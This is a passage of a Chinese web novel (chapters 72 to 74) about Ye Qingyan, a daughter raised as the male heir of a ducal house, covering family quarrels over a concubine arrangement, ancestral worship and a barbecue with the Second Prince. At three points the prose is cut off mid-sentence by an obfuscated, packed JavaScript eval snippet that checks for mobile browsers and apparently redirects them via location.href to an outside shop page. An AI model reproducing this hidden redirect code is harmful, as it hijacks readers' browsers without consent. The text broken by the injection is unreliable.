翠珠这未出口的话语,仿佛狠狠的一巴掌,重重地扇在了许嬷嬷的脸上。 怔站良久,许嬷嬷才迈开步子往屋内走去。 发生在宁辉堂里的争执,叶青言并不知情。离开宁辉堂后,她又去了怡然居向李氏请安。 外出半年的孩子终于归家,李氏自然欣喜,也有很多话想对她说,却又不知从何说起,想到二殿下早前派人送来的口信,李氏问道:“二殿下亲自去城门接你了?” 叶青言微微垂眼,淡声说道:“殿下是在镖局外等的孩儿。” 微顿了顿,叶青言又道:“回京的消息孩儿给府里和殿下各传了一份。” 一旁的谭嬷嬷闻言,心脏突突一跳。 收到了同样的消息,二殿下亲自去镖局外接人,可自家夫人却…… 李氏却是没想那么多,听罢微微勾起嘴角,喜道:“殿下有心了,如此恩泽,言儿你定要铭记于心。” 叶青言抬起眼看着李氏,平静说道:“孩儿明白。” 屋内再次归于无言。 满堂俱寂。 气氛难免显得有些尴尬。 有风从窗缝吹入,拂得窗沿下的风铃叮叮作响。 “母亲近来身子可还康健?”还是叶青言率先开口打破了沉默。 “我很好。”李氏道,“倒是你妹妹,如今也是大姑娘,该说亲了,近来过府给她说项的夫人不少,可她都不满意,我也是头疼的很。” 提及叶青欢的亲事,叶青言也很是在意,严肃道:“女子嫁人,是关系后半生的头等大事,小妹在如何挑选也不为过,总是要她自己喜欢的才好。” 李氏轻声一叹:“理是这个理,就怕她挑拣太过,反而落下个挑剔的坏名声。” 叶青言想了想,道:“上巳节就快到了,您到时不妨带小妹去春日宴上看看。” “也只能如此了。”李氏说道,想了想,她又说道,“等欢姐儿将来嫁了人,生下的第一个儿子就过继给你,这样你也就有后了,国公府也就有后了。” 说罢,李氏定定地看着叶青言,她没有注意到自己此时的声音有些紧张,又有些放松,因为害怕被拒绝而显得紧张,又因为知晓对方不可能拒绝而感到轻松。 这是非常矛盾的一种感觉,除了当事人自身,没人能体会其中苦楚。 屋内一片安静,没有任何声音。 李氏依然看着叶青言,等待着她的回答。 谭嬷嬷也在看着叶青言,心中五味杂陈,少爷还如此年轻,双肩还如此瘦弱,哪里能载得动这么多重担?夫人此时便说起这些,未免也太过苛责。 叶青言置于膝盖的手指微微收紧,出口的声音却没有任何颤抖:“母亲考虑的周到。” 李氏闻言神情不变,手掌却轻轻落在了胸口。 整座怡然居,在这一瞬间,仿佛都变轻了很多。 两人又就叶青欢的亲事交流了些各自看法。 沉吟片刻,李氏突然将话题转到了叶青言身上,言道:“说来言儿你也到岁数了,等会试过后,我打算将望舒抬成你的通房。” “什么?”一直没什么表情变化的叶青言听闻此言,诧异抬头,她下意识看向谭嬷嬷,却见对方一脸平静,显然对此早就知情,“母亲,您是知道我的情况地,何必让望舒……” “必须!”叶青言话没说完,就被李氏厉声打断,“你是男子,身为男子,不能没有屋里人,除了望舒,再没其他合适之人,这事我已同望舒谈妥,她父母也已同意,你不必再说。” 谭嬷嬷见状也道:“少爷您放心,望舒是自愿的,老奴也是,我们一家若非有夫人照拂,只怕早已饿死,能跟在少爷您身边伺候是望舒的福气,还请少爷您莫要拒绝。” “这真的是福气吗?”叶青言轻声问道,“跟着我这样一个假男人,守一辈子活寡,这算哪门子福气?” 谭嬷嬷一怔。 李氏却是横眉倒竖,狠狠一拍桌子:“放肆,你可知自己在说什么?” “难道我说错了?”叶青言毫不退让地迎上李氏的目光,“这事我不可能答应,我不允许自己毁掉一个女孩的一生!” ——毁掉一个女孩的一生! 这话仿佛一句诅咒,在李氏的脑海炸开。 不怪她多想,实在是叶青言此时的表情太过严肃,让李氏产生了对方是在借此隐喻自己的念头。 “你……你这是在怨我?”李氏指着叶青言的手指微微颤抖。 叶青言:“孩儿不敢,只是就是论事。” 母子二人寸步不让,谭嬷嬷见状急得不行,她好声好气地劝叶青言道:“少爷,望舒真的是自愿的,您若不信,不妨自己回去问一问她。夫人宅心仁厚,望舒那丫头又是老奴我的嫡亲孙女,夫人哪里舍得强迫于她。” 谭嬷嬷说着,悄悄朝李氏使了个眼色。 李氏强行压下心头那份不知从何而来的不安,让自己的声音尽量显得温和些,可没等她开口,就见叶青言站起身来。 “我自然会问过望舒,母亲,夜深了,孩儿便先告退了。” 叶青言说罢躬身一辑,未等李氏有所表示,便直接向着厅外走去,完全没有要听对方说话的意思。 看着消失在大厅门口的身影,李氏脸上蒙了一层寒霜,她现在的情绪非常不好,以至想砸东西来渲泄情绪,但她也知,自己若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259841|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真这样做了,明日府中定会有闲言碎语传出,这于她们大房不利。 气闷之下,李氏拿起桌上的茶杯,想要喝口茶水润润有些燥意的嗓子,却发现杯里的茶水早就凉透,只能恼火地放下杯子。 看着脸色阴沉的李氏,谭嬷嬷走上前去,利落地倒掉杯里的凉茶,重新给添了一杯温茶递上,嘴里同时不住地劝着:“夫人您别着急,望舒自幼就在少爷身边伺候,二人主仆情深,少爷会有所顾虑也能理解,等少爷回去问过了望舒,就会明白您的好意,知道您这么安排都是为了她好,她会理解您的。” 李氏欲接杯子的手一顿,抬眼望向谭嬷嬷,问:“她真得会理解我?” 谭嬷嬷肯定点头:“会的,少爷一向孝顺,从小到大,她何曾忤逆过您?” 仿佛找到了说服自己的理由,李氏连连点头:“你说的不错,言儿最是孝顺,我这么做都是为了她,为了国公府,她会理解我的。” 穿云院。 叶青言将望舒叫到跟前,一脸凝重地看着她。 穿云院内的叶青言从未有过如此严肃的表情,望舒一时不止所措。 沉默良久,叶青言问道:“通房的事情,你同意了?” 原是这事…… 望舒松了口气,颔首回答道:“我想一直陪在少爷您身边伺候。” 叶青言并不赞同:“我的情况你很清楚,何必跟着我做一辈子的孤家寡人。” “少爷!我是真心的!”望舒闻言急忙承诺。 叶青言摆了摆手:“我知道,我从未怀疑你的真心,也正是因此,我才不能误了你的一生。” 话语落下,屋内一片静寂,有风声不断地从室外传入。 “少爷,我知您是为了我好,可做您的屋里人已经是我所能拥有的最好出路。”望舒低垂着眼,缓缓说道,“我家中有姐妹四人,最后才得了一个儿子,我的父母并不在意女儿的生死,若非我在您屋里伺候,能时时补贴他们一二,只怕他们早就把我给嫁出去换礼钱了,您若不将我收房,他们早晚有一天会为了银子将我嫁出去。” 望舒的声音一如既往的温柔,可此时听来却像是蓄积了她所有的力量,在叶青言的耳边尽数炸开,她定定地看着望舒,郑重道:“他们不敢,你的婚事自有我为你做主。” 望舒轻轻摇了摇头,说道:“我相信您会为我做主,可您又能为我选个怎样的夫婿呢?我只是一个婢女,所能选择的最好夫家也不过是个体面些的管事。嫁给一个陌生人,然后离开您的身边,或做个管事嬷嬷,或在家相夫教子,伺候一大家子……可我不想过那样的生活,我想读书,想种花,想泡茶,想练字,我不想为一个不认识的人赔上自己的后半辈子,与其如此,不如让我陪在您的身边,您是我见过最好的主子,跟着您,我除了不会有自己的孩子,其他所有都是我所想要的。” 这些都是望舒的心里话,她委身做通房,除了要替叶青言的性别圆谎,也有自己的私心。她也深知自己只有坦白的讲出自己的私心才能说服少爷同意。 叶青言与望舒名义上是主仆,实际与亲人无疑,又哪里听不出她这样说的目的? 低低一叹,叶青言说道:“你不必为了说服我而将所有的一切都说成是自己的私心。” “少爷明鉴,望舒所言句句出自真心,无半句虚假。”望舒严肃保证道。 沉吟片刻,她还是说出了自己的最真实态度:“私心里我确实想一直跟着少爷您,但我的想法如何并不打紧,我之所以答应夫人的要求,本也不是出于私心。” 叶青言抿了抿唇:“便是出于私心也无妨,谁说利人的同时就不能利己了?” 此话一出,望舒喜上眉梢:“所以少爷您是答应了?” 叶青言摇了摇头:“母亲所选的抬通房时间在会试之后,你还有时间可以考虑,在那之前你随时可以改变心意。” 望舒高兴地屈了屈膝,道:“谢过少爷!您还没洗漱吧,我这就去给您备水。” 说罢,脚步轻快地走了出去。 叶青言见状失笑。 72. 第 72 章 第二日清晨,简单地用过早膳后,叶青言便去了祠堂祭拜先祖。 叶府的祠堂建在后罩楼的西侧,位置清幽。 从第一代成国公叶谢清受封成国公爵位至今已有近两百多年。 这座祠堂是国公府第一座建成的屋子,它已经很老了,比国公府内的其他任何屋子都要老旧。 无论是每隔三年便会重新粉刷一次的白墙,还是每隔五年便会精修一次的黑檐,哪怕看着再如何崭新,也无法完全掩去砖缝檐片之间所散发出来的古远沧桑气息。 叶青言来到的时候,李氏已安排好一应祭拜事宜。 “母亲。”叶青言上前,恭敬地朝站在祠堂外的李氏行礼,仿佛她们昨夜的争执不曾存在一般。 李氏没有回应,只定定看着祠堂之内。 她的目光,恰恰好落在前方正当中的那块牌位之上,那是前代成国公的牌位,也就是叶青言的父亲,李氏的夫君。 李氏看着那块牌位,面色苍白,仿佛有一股浓重的哀伤和沉重萦绕在其周身。 看着这幅模样的李氏,叶青言感到心中一阵酸涩。她走上前去,伸手欲扶李氏一把,却又在即将碰到对方手臂之前收了回来,温声说道:“清晨露重,还望母亲保重身子。” 李氏依旧不语,良久,才收回目光望向叶青言,忽地,她伸出冰凉的双手紧紧握住叶青言微凉的手:“言儿,不要怨怪母亲,属于你父亲的东西,母亲绝不允许那些对他毫无关心的所谓亲人染指!” 李氏说这句话时的眼神带着某种冰冷的警告和近乎心碎的请求。 叶青言见状心中一紧,她反手笼住李氏的双手,用力一握,沉声安慰:“母亲放心,孩儿从未有过要放弃成国公爵位的想法,这份家业,定会在孩儿手中延续下去。” “好,好,好。”李氏听罢,神色略有松弛,口中亦连连道好,但她心中仍旧忧虑。 斟酌再三,李氏也未再将心中疑虑出口,而是放缓语气循循言道:“母亲知你担子重,你是我大房的顶梁柱,将来还会是我们成国公府的顶梁柱,我们整个国公府的荣辱都压在了你身上,你本不必承担这些……这都是母亲强加于你的责任,你可会怨我?” 叶青言听罢抬起眼:“我从未觉得母亲您的要求是责任,更加不会怨您,您所做的一切都是为了孩儿的安全着想,是用心良苦,孩儿明白。” 叶青言很认真地看着李氏,很认真地开口说道,语气里没有丝毫怨气。 李氏闻言,脸上的笑意又深了些,能说出这样一番话,说明言儿是真得理解了自己的用心,这让李氏感到欢喜。 “谭嬷嬷总怪我不心疼你,可她不明白,你是男子。作为一个男人,岂能一直长在母亲的羽翼之下,我对你严苛,是为了你好。玉汝于成,这是母亲从小就告知你的道理,你一直做的很好,母亲很欣慰。” 站在李氏身后不远的谭嬷嬷听见这话,当即挂起个殷勤的笑容上前,道:“是老奴想得多了,您们母子连心,又哪里是我这等老婆子能明白的。” 谭嬷嬷原本还担心她们母女会因昨日的争论而心生嫌隙,现下看来倒是她白担忧了,至此,谭嬷嬷提了一整夜的心,才总算是落回了肚子。 李氏了解叶青言,知她最是讲理重义,与其耳提面命,不如晓之以理,动之以情。 有了这层认知,李氏再对叶青言说话时的语气不由愈加柔和起来。 “你自幼肩负使命,却从未让母亲操半点心。这么些年,母亲一直以你为傲,通房之事,我相信你心中也有计较,你身边总要有个人,而望舒,是最合适的人选,她自己也愿意,所以母亲希望你不要意气用事。” 这一席话,果然令叶青言如芒在背,肩头一沉。 叶青言眨了眨眼,眼底有焦虑一闪而过:“孩儿明白母亲的意思,也知晓您所为都是为了孩儿着想,但孩儿还是请母亲再给孩儿些时间考虑。” 李氏闻言不说话了,只静静看着叶青言。 叶青言迎着她的审视,面不改色。 李氏垂下眼,唇角的笑意淡了些:“是你要考虑,还是望舒要考虑?” 叶青言见状心中微颤,面上却是巍然不动,语气淡淡,没有丝毫起伏:“自然是孩儿自己要考虑,这是我的将来,即便知晓您的安排都是为了我好,可要跨出这最后一步,我还是得先过了自己心中的那道坎,如此,才能毫无芥蒂地继续走下去,还请母亲给孩儿一些时间。” 如李氏了解叶青言一般,叶青言也同样了解李氏,自然知晓自己该说什么话才能让她安心。 听了叶青言的话语,李氏的面色果然好了些,叹道:“罢了,这事也不急这一时,眼下你先好好准备春闱,其他的事情,都等春闱之后再议。” 叶青言:“多谢母亲体谅。” “时间差不多了,进去吧,好好同祖宗们说说话,让他们保佑你此番春闱能顺利上榜,母亲就先过去宁晖堂了,我在那里等你。” 话毕,李氏抬步欲离,却被叶青言开口叫了住。 “母亲。” 李氏闻声顿住脚步,面带疑惑地望了过去。 叶青言看着李氏的眼睛:“孩儿从未怨恨过您,相反的,孩儿很感激您,女子这一生,困于方寸,层层枷锁,如履薄冰,比起那样的生活,我更喜欢做男子,可以光明正大的建功立业。” 李氏眨了眨眼,轻声问道:“你真是这样想的?” 叶青言点头:“与其成为别人的附庸,我更愿意做自由的儿郎,主宰自己的人生。”说罢,叶青言笑了一下,道,“孩儿这就去给父亲上香。” 望着叶青言走进祠堂的背影,李氏不由红了眼眶。 祠堂里一片肃静,香烟袅袅,高台上供奉着一排排灵位。 叶青言一眼便看见了凌驾在众多灵位之上的初代成国公叶谢清。 叶青言闭了闭眼,而后焚香跪拜,气氛肃穆。 待叶青言祭拜完走出祠堂,李氏早已离开。 叶青言没有多留,抬步便往宁晖堂走去。 晚辈外出游历归来的第一个早上,无论如何都要到老太太的屋里磕头请安。 穿堂而过,叶青言很快来到宁晖堂的正房前庭。 一脚踏入前庭,叶青言就被眼前的景象看愣了一瞬。 此时,前庭的青石地上正趴跪着两个小丫鬟。 她们身上穿着属于二等丫鬟的靛青色冬服,正以额抵地,跪得端正又虔诚,身子却斗得如同那寥寥挂在枝头的枯叶,也不知是被冻的还是被吓的。 叶青言抬步从她们身旁走过,踩上连着正房台基的踏跺的时候,还能听到她们吸鼻涕水的声音。 “那两是在二姑娘跟前伺候的丫鬟。”落后叶青言数步的远山打量了跪着的两人一眼,而后快步上前,小声地在叶青言耳边禀报,不难听出他语气里的担忧。 叶青言却是置若罔闻,安静地站在帘子外头,等着婆子们朝里头禀报,不是叶青言不想管,而是一旦她去管了,那两丫鬟将会受到更大的惩罚。 叶老太太一贯喜同他们大房对着干。 叶老太太屋里规矩极大,或者说是叶老太太对他们大房的规矩极大,每当他们大房的人前来请安,正房里头若是没有应声他们是不能擅自进去的。否则叶老太太会以没有规矩为由,惩罚他们去跪祠堂。 李氏第一次同叶老太太起冲突,就是因为叶青欢有一次前来请安时,叶老太太没发声让她进屋而使得叶青欢在廊下站了一个多时辰,那日大雪,天气极冷,当天夜里叶青欢就发起了高烧,差点没有挺过去。 因为这件事情,李氏大发雷霆,后又在二夫人张氏的斡旋下从叶老太太的手里抢回国公府的管家权。 叶青言以往过来请安,叶老太太总会让她在门外站上好长一阵,才准许让她进入,有时甚至直接以疲乏为由不允许她进门。 好在叶老太太今日没有要折腾叶青言的意思,只过了一会儿,门口的婆子就给叶青言打起了帘子,笑着道:“大少爷,您请。” 屋里的暖风迎面而来,叶青言抬步走了进去。 远山作为小厮,是外男,当然不能同丫鬟一样跟着主子一起进屋,自然就被留在外面。 此时的宁晖堂里,是一副其乐融融的画面,除了必须去衙门上值的两位伯父以及在国子监做监生的堂弟叶青淮外,各房的其他人大都在此。 叶老太太坐在上首,身边坐着二房的三姑娘叶莲与三房的四姑娘叶芯。 二房的二姑娘叶荷因为犯了事儿,被罚禁足自省,今日并未到场。 两个孙女一个温雅可人,一个天真烂漫,正彩衣娱亲地说着逗趣的话儿,直把叶老太太哄得捧腹。 叶二夫人张氏和三夫人朱氏分别站在叶老夫人下首,面带笑意的看着自家女儿同祖母说笑。 犯事的二姑娘叶荷不是张氏嫡出,因而她的处境并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,李氏又将目光投向了二夫人张氏,道:“二弟妹,不是我这个做嫂嫂的说你,二丫头虽然不是你亲生的,但她毕竟也是二弟的种,她生母的出身已然上不得台面,所谓上梁不正下梁歪,对于二丫头,你还是要好好调教,不然将来丢的可是咱们整个国公府的脸。” 二姑娘的生母是二老爷叶勉的一个妾室,那妾室曾在叶老夫人的院子里伺候,有一回趁着叶勉醉酒爬床,张氏知道后十分生气,却也无可奈何,只能忍着恶心将人给叶勉收了房。 那妾室平日里没少仗着叶老太太的名头狐假虎威。 叶荷本人也是个心思深的,知晓自己一个女子入不了父亲的眼,便一门心思地讨好叶老太太,长久以来很得叶老太太的看中。 此前叶荷因叶青淮之故,与国子监一名学生熟识,两人频繁书信交流,这事被张氏知晓,最后捅到了叶老太太跟前。 叶老太太怒而将其禁足,还将她的两个贴身丫鬟好一顿惩罚。 因为叶荷之事关乎叶青淮,而惹得张氏十分不快,所以当她听到李氏以此讽刺叶老太太时,没有马上站出来缓和气氛。 朱氏是个有眼力见的,更加不会这时候出头。 叶老夫人被李氏这直插心窝子的话语听得胸膛剧烈起伏,她有心想要反驳,却又说不出反驳的话来,只能涨红着脸道:“你……你……” “是媳妇失言了,老夫人莫要动怒,生气伤肝,为了那样不检点的小辈,不值当。”李氏仿佛这才反应过来一般,起身看着叶老夫人,淡淡说道。 李氏不道歉还好,这阴阳怪气的道歉直气得叶老太太浑身发抖,一口气差点没喘上来。 府里谁到知晓,二姑娘叶荷得老太太看重,时时小住宁晖堂,算是老太太亲自带大的小辈,李氏此言可谓诛心。 张氏见状,知晓不能再让大嫂继续这样气母亲了,虽然她看着很解气。 张氏笑着站出来打圆场道:“大嫂,阿言还在呢,这种内宅污糟何必说与她听。” 李氏闻言一怔,笑笑道:“二弟妹说的是。” 叶青言却仿佛听不到几人的言语讥讽一般,自顾喝茶。 旁边的丫鬟婆子们一个个眼观鼻鼻观心的,比鹌鹑还老实,几个小辈也是默默低头喝茶。 有眼见力的三夫人朱氏见状,笑着上前说起了时下京中的一些趣事。 话题岔开,气氛总算缓和。 …… 叶青言没有在宁晖堂里多留,又小坐了片刻,便同老太太告了礼离开。 不多时,李氏也带着叶清欢一起走了。 73. 第 73 章 二皇子府。 沈昭大清早就过了府来,也没同林翊招呼,便在正堂前的院子里指挥起皇子府的一众下人来,仿佛还在自家院子一般。 二皇子府的仆人们也由着他指挥安排。 不多时,院子里就支起了烧烤架子,木炭、新鲜的蔬菜和牛羊猪肉片等陆续送来。 在下人们的一通忙活下,食材很快处理妥当,炭火也燃了起来。 一时间烟火升腾,油脂横流,二皇子府前院很快便被肉香所笼罩。 等林翊收到消息过来的时候,沈昭已经吃上香碰碰的烤肉串了。 见林翊过来,沈昭挥舞着手里的肉串,兴致勃勃道:“我特意为阿言准备的接风宴,表哥你看如何?” 林翊扫视一圈,没有回答,而是道:“这是我的府邸,你使唤的也都是我的下人。” 沈昭双手抱胸,笑得洋洋得意:“总得让你也有份参与迎接不是?不用谢我。”说罢,还昂起了下巴,脸上一副“来夸爷,往死里夸”的表情。 林翊不疾不徐地睨了沈昭一眼,微微牵起嘴角,慢腾腾地接话道:“如此心意,不谢怎行?嗯……这样吧,为表答谢,今日我就先不问你要天香坊欠下的那一千两了。” 这个转折来得太过突然,突然得沈昭脸上的得意表情都来不及收,就下意识问道:“什么?那银子还要还?” 林翊点头:“自然,亲兄弟还要明算账,咱们只是表兄弟,为什么不用还?” 沈昭不可思议:“那龙虾你难道没吃!” 林翊挑了挑眉,唇角随之再次勾起,露出一个温和无害的笑容来:“那不是你请我吃的?” 沈昭闻言一张俊脸顿时被气得扭曲,他能说不是吗? 年前,天香坊举办了一场别开生面的拍卖会。 会上的拍品全是美食。 每一道菜品都是经由天香坊大厨精心烹饪,仅此一盘,独一无二。 拍卖会上有一道名为“龙呈福宝”的菜肴,采用五斤重的大龙虾制作而成,金黄的虾头,霁蓝的皮壳,皮壳下隐隐散发着金色的光芒,一出场,便全场雷动。 薛越最喜食用虾蟹,当即就叫了价,沈昭哪里能让他如愿?当即开始加价,最后这道起拍价才五百两的“龙呈福宝”愣是以五千三百两的价格成交。 赢得人自然是京城第一纨绔沈昭沈小侯爷。 彼时银子不够的沈小侯爷还问同行的二皇子林翊要了一千两。 是的,要。 沈昭从未想过还,如今听人说起自然不敢置信。 但他很快就明白过来,对方如此不就是想独占这场接风宴的功劳? 切,小爷我有的是主意,才不稀罕这么个不体面的接风宴! 沈小侯爷默默在心里自我劝慰,然后摆出副傲娇的神色:“行吧,这是你给阿言准备的接风宴,跟我没有关系。” 林翊眨了眨眼:“那怎么好意思啊,这所有的一切可都是你让人安排的啊。” 一句话,用了两个啊来结尾。 咿咿呀呀啊啊的,还怪好听的。 只是沈昭听着不怎么开心,他咬了咬后槽牙,道:“是吗?我怎么不记得我有让人安排什么?” 说罢,沈昭转身不再理会林翊,他怕自己会忍不住动手,他又打不过对方,动手了定然吃亏。 沈小侯爷不忿归不忿,该安排的事儿却是一点也不耽误。 他一边有条不紊地指点下人们再在烤架旁边支个煮汤的锅炉,一边跃跃欲试地抓着根串了肉片的竹枝在小烤炉上翻来翻去,显然兴趣十足。 林翊也不阻止,心情颇好地让伺候的下人搬了张藤椅到旁边的空地上。 就这么靠坐着晒起了太阳。 直看得沈昭一阵火大,心下又是好一通腹诽。 今天的天气很好。 阳光兜头撒下,暖洋洋的,置身其中,就仿佛洗了个温水浴般,彻底把骨头缝里盘距了一整个冬天的寒气都给洗了去。 林翊靠坐在藤椅上,支着脑袋,晃着腿,一副百无聊赖的模样,时不时还会抬眼往大门口的方向看上一看。 “表哥你就别看了,时间还早呢,阿言她好不容易外出归来,哪有这么快出门,她这会儿啊,指不定还在祠堂里祭拜祖先。”沈昭一边翻着肉串,一边笑着打趣林翊。 林翊闻言瞟了沈昭一眼:“谁说我是在看阿言的?” “你都快往大门方向看八百回了,还不承认?”沈昭撇撇嘴鄙夷。 林翊一时语塞。 “其实我也怪想阿言的,她这趟出去,差不多都快半年了,这么长时间没见,也不怪表哥你这么念着她。”沈昭说着,也往大门方向望了望。 他显然还不知晓林翊昨晚已经同叶青言见过面的事情,两人还美美地吃了一顿兔肉火锅。 林翊有些尴尬,于是他选择了转移话题,道:“你的肉又烤糊了。” “什么?”沈昭大惊,手忙脚乱地将正烤着的肉串拿起来,上面果然有烤焦的痕迹,“可恶!这炭火怎么回事!就不能好好将肉考熟嘛!” 沈昭一脸气忿地将这不知道第几串被烤焦的肉串扔在一旁,再重新拿过一串新的,又烤了起来。 “这也能怪炭火?”林翊点点下巴,示意了旁边正烤肉的两个婆子,“显然是你的水平有问题。” 沈昭一噎:“你行你来!” “我为什么要来?”林翊拿起一串被烤得鲜嫩多汁的肉片放进嘴里吃了,说道,“术业有专攻,就你喜欢自己给自己找事儿。” “我这叫意趣!”沈昭不服地大声嚷嚷,末了摆摆手道,“算了算了,跟你说了你也不懂,你就等着吧,等阿言来了,让她吃一串我亲手烤的肉,她定然感动。” 听见这话,林翊当即就坐不住了,跃跃欲试着也想上前烤肉。 但他显然要更有心机一些。 林翊没有如沈昭那样盲目上手,而是认真观察起旁边那两个婆子烤肉的手法,在心中默默学习。 在沈昭又烤糊了一串肉片时,林翊站了起来,说道:“算了吧淮之,你没有这方面的天赋,我来。” “你要来?”沈昭吃惊。 林翊脸不红心不跳:“你刚刚不说了我行我上吗?我行,我要上了。” “你上就你上,我还不信了,这你也能比我强?”沈昭说着,让开了位置。 林翊笑了起来,在斑驳的阳光下显得特别灿烂,同时也蕴含着某种狡黠的意味。 已默默观察好一会儿的林翊不出手则已,一出手惊人,无论是翻肉的手法,还是刷油的姿势,看着都十分娴熟,仿佛他天生就会一般。 这烤肉水准比沈昭强了不止一星半点,且他烤出的第一串肉片也没有焦糊,虽边缘处看着有些干卷,但还能吃。 沈昭见状直呼不可思议:“你是不是偷偷练过?” 林翊施施然看他一眼,反问:“如此简单,还需要练?” “……”沈昭哑口无言,好半晌才缓过神来大声嚷嚷起不可能,同时挤开其中一个烤肉的下人,又动起来手来,边动手还边叨叨着让那被挤开的婆子教他怎么烤肉。 婆子忍俊不禁,一旁其他伺候的下人也没忍住笑出了声。 院子里一时热闹极了。 叶青言到的时候,刚好就看到了这一幕。 时近午时,灿烂的阳光穿过头顶沙沙作响的叶子铺撒下无数斑驳的光影,微风轻轻带起院中少年动作时的衣袖发梢,端得是欢声笑语,乐乐陶陶。 察觉有人走近,林翊抬起眼来,正正好对上了叶青言清澈的眸子。 其他人也注意到这边的情况,抬眸看了过来。 刚刚还吵吵闹闹的院子瞬间安静了下来。 叶青言着一身纯白儒衫,玉冠皂靴,脸上带着沉静又谦和的微笑,整个人仿佛山涧的水,林边的竹,干净至极、温润至极,也清贵之极。 走近,停步,叶青言轻轻一笑,面目顿时如流溢彩一般。 “这么有兴致啊。”叶青言感慨一声,而后又笑了一下,再出口的声音清清朗朗,如和风入怀:“是我让底下的人不用通报直接带我进来的,还望殿下不要见怪。” 说罢,叶青言就要抬手见礼,却被旁边一跃而出的沈昭连扶带阻地拦了住。 “阿言!你终于回来了!你个没良心的,出门这么久,也不多给好兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林翊?挽了挽衣袖:“要不我帮你?” 没有一声责备,声音比那拂面而来的春风还要暖上三分。 沈昭却没由来的,觉得脚下窜起一股冰寒之气:“不用!不用!我自己来就好。” 林翊满意地点了点头,随后抬手牵起叶青言就往旁边的桌子走去。 桌上不知何时已摆好了吃食,除了烤好的肉片时蔬,还有一蒸笼面饼,一盘洗净切好的水果。 林翊拉着叶青言在圆桌边坐下,然后将其中一盘烤肉推到叶青言面前:“你尝尝看?” 叶青言刚走进院子就看到林翊亲自在那烤肉,如今这般,哪里能不知这肉出自谁手?当下也不多言,拿起其中一串就吃了起来。 肉嚼着有些老,稍有点咸,但还算可以入口。 叶青言将整串肉送到嘴里,细细嚼碎,咽干净,才道:“殿下手艺不错。” 林翊微侧过脸,就看到叶青言莹白耳朵上那一层细小的绒毛,柔软极了,和她此时的神情一样…… 林翊喉头一紧,赶紧把头摆正了,将烤肉夹在蒸面饼里放到叶青言面前的碟子里,道:“再试试这个。”想了想,他给旁边的空碟子里也放了一个夹肉的蒸面饼。 叶青言见状笑了起来,往沈昭方向看了一眼。 沈昭自然也看到了林翊的动作,当下小跑过来,拿起碟子里的面饼卷肉就给吃了,边吃还边点评了起来:“这肉烤久了,有些老,还有点咸,但面皮不错,裹着肉吃正好综合掉咸味,不错不错。” 沈昭点评得头头是道,林翊听得额角青筋直跳,他就不该理这小子! 总算扳回一局的沈昭才不管这些,美滋滋地吩咐婆子将旁边炖煮的瓦罐端上来,亲自盛了一碗瓦罐里的汤放到了叶青言面前:“这是豚骨山珍汤,二表哥亲自让人炖的,你尝尝。” 亲自两字被沈昭刻意加了重音。 林翊冷飕飕地看了沈昭一眼,沈昭被看得头皮有些发麻,身子下意识往叶青言方向靠了靠。 林翊的目光更冷了。 “……” 不是吧表哥,你这占有欲是不是有点过了?阿言也是我的兄弟!沈昭在心中无声吐槽。 叶青言没有理会两人的眉眼官司,她先给林翊盛了一碗汤放到面前,然后给沈昭也盛了一碗。 阿言先给自己盛了汤……不知为何,林翊开心起来,觉得盘子里的肉都香了几分。 74. 第 74 章 阳光暖媚,春意初萌,三名少年围桌食肉,欢声笑语不停。 食过三巡。 渐渐平复了重逢喜悦的沈昭看着旁边的烧烤架子又不安分了起来。 “我们再烤只鸡吃吧。”沈昭跃跃欲试道。 林翊施施然看他一眼,表情有些嫌弃,但还是抬起手,想要吩咐不远处候着的下人们安排,却被沈昭眼疾手快地拦下。 “不用吩咐下人,我来烤!”沈昭大声道。 林翊皱眉:“你烤?” “对,我烤。”沈昭拍拍胸脯,“你们就坐着等吃吧。” 说罢,也不管林翊两人的反应,起身叫来一个婆子,让她去厨房取只处理干净的鸡来,他要亲自烤鸡给林翊和叶青言两人品尝。 连烤串鸡翅都欠火候的沈小侯爷又哪里烤得了全鸡? 不过瞎胡闹罢了。 林翊乐得没人打扰自己和阿言聊天,也就随他折腾去了。 倒是刚刚尝过林翊手艺的叶青言对此很是有些期待。 林翊见状,在她耳旁轻轻低语了两句。 叶青言吃惊地眨了眨眼:“真的?” 林翊:“你等着看就是。” 注意到两人看向自己的眼神,沈昭警惕地看着林翊:“表哥你两嘀嘀咕咕什么呢?你是不是在说我坏话?” 林翊:“不是坏话。” ——是实话。 沈昭狐疑地扫视了两人,最后对叶青言道:“阿言你等着我。” 叶青言:“……好。” 微风轻拂,头顶的常叶青树发出簌簌的声音,烧烤残留下的油腻味道被风吹淡了好些。 林翊和叶青言两人依旧围桌而坐。 叶青言轻声将此番南下的一些见闻说与林翊听。 林翊安静地听着,时而接上两句。 他们没有刻意坐地更近,然肩头时不时轻轻碰触,这种距离,这种节奏,这种平静,是他们最习惯、也是最喜欢的,就像他们对彼此的感觉一样。 林翊:“如此说来,那贺渊也会参加下个月的春闱?” 叶青言点头,想了想说道:“我与他同行一月有余,发现此人心思缜密,智慧无双,且极具战略眼光,确实是百年难得一遇的奇才。” 林翊看着叶青言,眼底静水深流:“很难听你对他人有这么高的评价,看来你们这一路相处得十分融洽。” 林翊说话的声音依旧温淡,如深井一样的眼里,却有着两重震惊。 一重震惊是阿言竟能与贺渊同行一月之久,另一重震惊是阿言竟对贺渊有如此高的评价。 常年朝夕相对,林翊可以说是这世上最了解叶青言性情的人。 